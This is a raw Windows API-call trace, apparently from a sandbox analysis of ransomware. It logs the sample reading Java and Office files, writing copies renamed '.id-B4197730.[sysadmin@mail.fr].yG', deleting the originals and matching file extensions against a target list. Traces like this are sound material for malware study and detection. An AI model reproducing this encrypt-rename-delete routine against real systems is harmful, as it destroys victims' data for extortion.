	[0148.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20
	[0148.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.987] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0148.987] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.987] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.987] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0148.988] GetLastError () returned 0x0
	[0148.988] ReadFile (in: hFile=0x520, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x1c0eb, lpOverlapped=0x0) returned 1
	[0149.025] WriteFile (in: hFile=0x538, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x1c0f0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x1c0f0, lpOverlapped=0x0) returned 1
	[0149.033] ReadFile (in: hFile=0x520, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.033] WriteFile (in: hFile=0x538, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0149.033] SetEndOfFile (hFile=0x538) returned 1
	[0149.034] CloseHandle (hObject=0x538) returned 1
	[0149.034] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.034] SetEndOfFile (hFile=0x520) returned 1
	[0149.039] CloseHandle (hObject=0x520) returned 1
	[0149.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0149.040] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 1
	[0149.041] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0149.041] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0149.041] lstrlenW (lpString=".doc") returned 4
	[0149.041] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0149.041] lstrlenW (lpString=".docx") returned 5
	[0149.041] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0149.041] lstrlenW (lpString=".pdf") returned 4
	[0149.041] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0149.041] lstrlenW (lpString=".xls") returned 4
	[0149.041] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0149.041] lstrlenW (lpString=".xlsx") returned 5
	[0149.041] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0149.041] lstrlenW (lpString=".ppt") returned 4
	[0149.041] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0149.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0149.042] lstrlenW (lpString=".zip") returned 4
	[0149.042] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0149.042] lstrlenW (lpString=".rar") returned 4
	[0149.042] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0149.042] lstrlenW (lpString=".bz2") returned 4
	[0149.042] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
	[0149.042] lstrlenW (lpString=".7z") returned 3
	[0149.042] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0149.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0149.042] lstrlenW (lpString=".dbf") returned 4
	[0149.042] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0149.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0149.042] lstrlenW (lpString=".1cd") returned 4
	[0149.042] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0149.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0149.042] lstrlenW (lpString=".jpg") returned 4
	[0149.042] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0149.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0149.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0149.042] lstrlenW (lpString=".doc") returned 4
	[0149.042] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0149.042] lstrlenW (lpString=".docx") returned 5
	[0149.042] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0149.042] lstrlenW (lpString=".pdf") returned 4
	[0149.042] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0149.043] lstrlenW (lpString=".xls") returned 4
	[0149.043] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0149.043] lstrlenW (lpString=".xlsx") returned 5
	[0149.043] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0149.043] lstrlenW (lpString=".ppt") returned 4
	[0149.043] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0149.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0149.043] lstrlenW (lpString=".zip") returned 4
	[0149.043] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0149.043] lstrlenW (lpString=".rar") returned 4
	[0149.043] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0149.043] lstrlenW (lpString=".bz2") returned 4
	[0149.043] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
	[0149.043] lstrlenW (lpString=".7z") returned 3
	[0149.043] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0149.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0149.043] lstrlenW (lpString=".dbf") returned 4
	[0149.043] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0149.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0149.044] lstrlenW (lpString=".1cd") returned 4
	[0149.044] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0149.044] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0149.044] lstrlenW (lpString=".jpg") returned 4
	[0149.044] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0149.044] lstrcmpiW (lpString1=".0_144\\lib\\tzmappings", lpString2=".yG") returned -1
	[0149.044] lstrlenW (lpString="tzmappings") returned 10
	[0149.044] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0149.045] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=8400) returned 1
	[0149.045] CloseHandle (hObject=0x520) returned 1
	[0149.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20
	[0149.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.045] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0149.046] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.046] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.046] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0149.047] GetLastError () returned 0x0
	[0149.047] ReadFile (in: hFile=0x520, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x20d0, lpOverlapped=0x0) returned 1
	[0149.067] WriteFile (in: hFile=0x538, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x20e0, lpOverlapped=0x0) returned 1
	[0149.069] ReadFile (in: hFile=0x520, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.069] WriteFile (in: hFile=0x538, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0149.069] SetEndOfFile (hFile=0x538) returned 1
	[0149.449] CloseHandle (hObject=0x538) returned 1
	[0149.449] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.449] SetEndOfFile (hFile=0x520) returned 1
	[0149.452] CloseHandle (hObject=0x520) returned 1
	[0149.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0149.453] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 1
	[0149.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0149.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0149.454] lstrlenW (lpString=".doc") returned 4
	[0149.454] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1
	[0149.454] lstrlenW (lpString=".docx") returned 5
	[0149.454] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1
	[0149.454] lstrlenW (lpString=".pdf") returned 4
	[0149.454] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1
	[0149.454] lstrlenW (lpString=".xls") returned 4
	[0149.454] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1
	[0149.454] lstrlenW (lpString=".xlsx") returned 5
	[0149.454] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1
	[0149.454] lstrlenW (lpString=".ppt") returned 4
	[0149.454] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1
	[0149.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0149.454] lstrlenW (lpString=".zip") returned 4
	[0149.454] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1
	[0149.454] lstrlenW (lpString=".rar") returned 4
	[0149.454] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1
	[0149.454] lstrlenW (lpString=".bz2") returned 4
	[0149.454] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1
	[0149.454] lstrlenW (lpString=".7z") returned 3
	[0149.454] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1
	[0149.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0149.455] lstrlenW (lpString=".dbf") returned 4
	[0149.455] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1
	[0149.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0149.455] lstrlenW (lpString=".1cd") returned 4
	[0149.455] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1
	[0149.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0149.455] lstrlenW (lpString=".jpg") returned 4
	[0149.455] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1
	[0149.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0149.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0149.455] lstrlenW (lpString=".doc") returned 4
	[0149.455] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1
	[0149.455] lstrlenW (lpString=".docx") returned 5
	[0149.455] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1
	[0149.455] lstrlenW (lpString=".pdf") returned 4
	[0149.455] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1
	[0149.455] lstrlenW (lpString=".xls") returned 4
	[0149.455] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1
	[0149.455] lstrlenW (lpString=".xlsx") returned 5
	[0149.455] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1
	[0149.455] lstrlenW (lpString=".ppt") returned 4
	[0149.455] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1
	[0149.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0149.455] lstrlenW (lpString=".zip") returned 4
	[0149.455] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1
	[0149.456] lstrlenW (lpString=".rar") returned 4
	[0149.456] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1
	[0149.456] lstrlenW (lpString=".bz2") returned 4
	[0149.456] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1
	[0149.456] lstrlenW (lpString=".7z") returned 3
	[0149.456] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1
	[0149.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0149.456] lstrlenW (lpString=".dbf") returned 4
	[0149.456] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1
	[0149.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0149.456] lstrlenW (lpString=".1cd") returned 4
	[0149.456] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1
	[0149.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0149.456] lstrlenW (lpString=".jpg") returned 4
	[0149.456] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1
	[0149.456] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0149.456] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31
	[0149.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0149.466] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=18624) returned 1
	[0149.466] CloseHandle (hObject=0x520) returned 1
	[0149.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220
	[0149.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0149.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0149.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0149.467] lstrlenW (lpString=".doc") returned 4
	[0149.467] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0149.467] lstrlenW (lpString=".docx") returned 5
	[0149.467] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0149.467] lstrlenW (lpString=".pdf") returned 4
	[0149.467] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0149.468] lstrlenW (lpString=".xls") returned 4
	[0149.468] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0149.468] lstrlenW (lpString=".xlsx") returned 5
	[0149.468] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0149.468] lstrlenW (lpString=".ppt") returned 4
	[0149.468] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0149.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0149.468] lstrlenW (lpString=".zip") returned 4
	[0149.468] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0149.468] lstrlenW (lpString=".rar") returned 4
	[0149.468] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0149.468] lstrlenW (lpString=".bz2") returned 4
	[0149.468] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0149.468] lstrlenW (lpString=".7z") returned 3
	[0149.468] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0149.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0149.468] lstrlenW (lpString=".dbf") returned 4
	[0149.468] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0149.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0149.468] lstrlenW (lpString=".1cd") returned 4
	[0149.468] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0149.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0149.468] lstrlenW (lpString=".jpg") returned 4
	[0149.468] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0149.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0149.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0149.469] lstrlenW (lpString=".doc") returned 4
	[0149.469] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0149.469] lstrlenW (lpString=".docx") returned 5
	[0149.469] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0149.469] lstrlenW (lpString=".pdf") returned 4
	[0149.469] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0149.469] lstrlenW (lpString=".xls") returned 4
	[0149.469] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0149.469] lstrlenW (lpString=".xlsx") returned 5
	[0149.469] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0149.469] lstrlenW (lpString=".ppt") returned 4
	[0149.469] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0149.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0149.469] lstrlenW (lpString=".zip") returned 4
	[0149.469] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0149.469] lstrlenW (lpString=".rar") returned 4
	[0149.469] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0149.469] lstrlenW (lpString=".bz2") returned 4
	[0149.469] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0149.469] lstrlenW (lpString=".7z") returned 3
	[0149.469] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0149.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0149.469] lstrlenW (lpString=".dbf") returned 4
	[0149.469] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0149.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0149.469] lstrlenW (lpString=".1cd") returned 4
	[0149.470] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0149.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0149.470] lstrlenW (lpString=".jpg") returned 4
	[0149.470] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0149.470] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0149.470] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31
	[0149.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0149.471] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=18624) returned 1
	[0149.471] CloseHandle (hObject=0x520) returned 1
	[0149.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220
	[0149.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0149.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0149.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0149.472] lstrlenW (lpString=".doc") returned 4
	[0149.472] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0149.472] lstrlenW (lpString=".docx") returned 5
	[0149.472] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0149.472] lstrlenW (lpString=".pdf") returned 4
	[0149.472] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0149.472] lstrlenW (lpString=".xls") returned 4
	[0149.472] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0149.473] lstrlenW (lpString=".xlsx") returned 5
	[0149.473] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0149.473] lstrlenW (lpString=".ppt") returned 4
	[0149.473] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0149.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0149.473] lstrlenW (lpString=".zip") returned 4
	[0149.473] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0149.473] lstrlenW (lpString=".rar") returned 4
	[0149.473] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0149.473] lstrlenW (lpString=".bz2") returned 4
	[0149.473] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0149.473] lstrlenW (lpString=".7z") returned 3
	[0149.473] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0149.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0149.473] lstrlenW (lpString=".dbf") returned 4
	[0149.473] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0149.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0149.473] lstrlenW (lpString=".1cd") returned 4
	[0149.473] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0149.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0149.473] lstrlenW (lpString=".jpg") returned 4
	[0149.473] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0149.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0149.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0149.473] lstrlenW (lpString=".doc") returned 4
	[0149.473] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0149.474] lstrlenW (lpString=".docx") returned 5
	[0149.474] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
